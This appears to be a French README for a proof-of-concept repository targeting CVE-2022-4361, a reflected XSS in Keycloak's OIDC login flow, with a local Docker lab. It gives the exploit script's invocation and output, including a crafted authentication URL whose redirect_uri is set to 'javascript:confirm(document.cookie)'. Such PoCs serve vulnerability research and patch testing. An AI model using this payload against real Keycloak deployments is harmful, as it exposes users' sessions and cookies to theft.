
Exploit de preuve de concept pour CVE-2022-4361, une vulnérabilité XSS réfléchie dans le flux d'authentification OIDC de Keycloak, avec environnement de test Docker et script d'exploitation Python.
Ce dépôt contient une POC pour CVE-2022-4361.
Tout le crédit revient à l'auteur original de la découverte, mulliken;
IMPORTANT : cette POC n'est pas complète car elle ne couvre pas le cas de la valeur AssertionConsumerServiceURL dans le protocole d'authentification SAML. Actuellement, seul le cas OIDC est couvert.
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
Attendez que l'infrastructure soit disponible et accessible.
Étant donné que dans cette POC Keycloak n'est intégré à aucune application web, il est nécessaire de spécifier l'URL complète d'authentification Keycloak (une fois que le domaine de test a été correctement configuré).
La vulnérabilité dans cet environnement de test peut être testée avec l'URL suivante.
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
Une fenêtre de navigateur s'ouvrira avec la page de connexion malveillante, comme visible sur la capture d'écran ci-dessous.

Une fois qu'une victime fournit des identifiants valides (disponibles dans keycloak-config/test-realm.json) et clique sur le bouton Sign In, l'attaque XSS réfléchie sera délivrée.
Il est à noter que l'attaque réussit même si la victime est déjà connectée à l'application.

* pour redirect_uri dans les environnements de production.Actuellement, cette POC ne couvre que le cas de Keycloak configuré avec un flux d'authentification OIDC.
Dans les prochains déploiements, le protocole d'authentification SAML sera introduit.